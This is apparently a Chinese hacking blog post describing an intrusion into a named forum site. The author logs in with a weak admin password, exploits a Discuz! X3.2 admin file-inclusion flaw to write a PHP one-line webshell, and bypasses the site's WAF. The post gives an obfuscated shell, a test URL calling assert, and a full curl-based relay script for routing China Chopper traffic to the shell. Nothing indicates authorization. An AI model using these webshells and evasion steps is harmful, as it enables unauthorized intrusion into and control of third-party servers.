直接进入正题吧,这次的站点是http://bbs.sudu.cn/弱口令:用户名admin 密码qwer
进后台看了一下,是Discuz! X3.2 Release 20140603版本,从前台少的可怜的用户数量来看,未打补丁的可能性比较大,那就尝试getshell吧,参考WooYun: Discuz3.2后台文件包含漏洞可后台拿shell具体操作过程就不啰嗦了,这里面有个小细节,一定要把服务器具体IP添加到本地host里面去,否则云锁waf会拦截的(至于怎么获得具体IP,最简单的是发送邮件测试)通过后台“文件检验”功能,我们能清楚的看到一句话文件成功生成了
我们浏览器访问看看
被云锁waf拦截了,估计菜刀肯定也连不了
果不其然,也被拦了,乌云zone翻了下前辈们的经验之谈,终于突破了,重点请往下看1、变形一句话
$_REQUEST['a']($_REQUEST['b']);
?>
1
2
3
$_REQUEST['a']($_REQUEST['b']);
?>
按上面getshell的方法重新将一句话写入根目录,得访问地址http://bbs.sudu.cn/help.php测试一下http://bbs.sudu.cn/help.php?a=assert&b=phpinfo();
2、新建shell.php,填入菜刀中转脚本
$target="http://bbs.sudu.cn/help.php";//这个就是前面那个一句话的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$target="http://bbs.sudu.cn/help.php";//这个就是前面那个一句话的地址
$poststr='';
$i=0;
foreach($_POSTas$k=>$v)
{
if(strstr($v,"base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch=curl_init();
$curl_url=$target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch,CURLOPT_URL,$curl_url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$poststr);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$result=curl_exec($ch);
curl_close($ch);
echo$result;
?>
3、本地搭建php环境,将中转脚本置于中,菜刀中连接,地址处填http://127.0.0.1:8004/shell.php?a=assert 密码处填b
成功突破,如图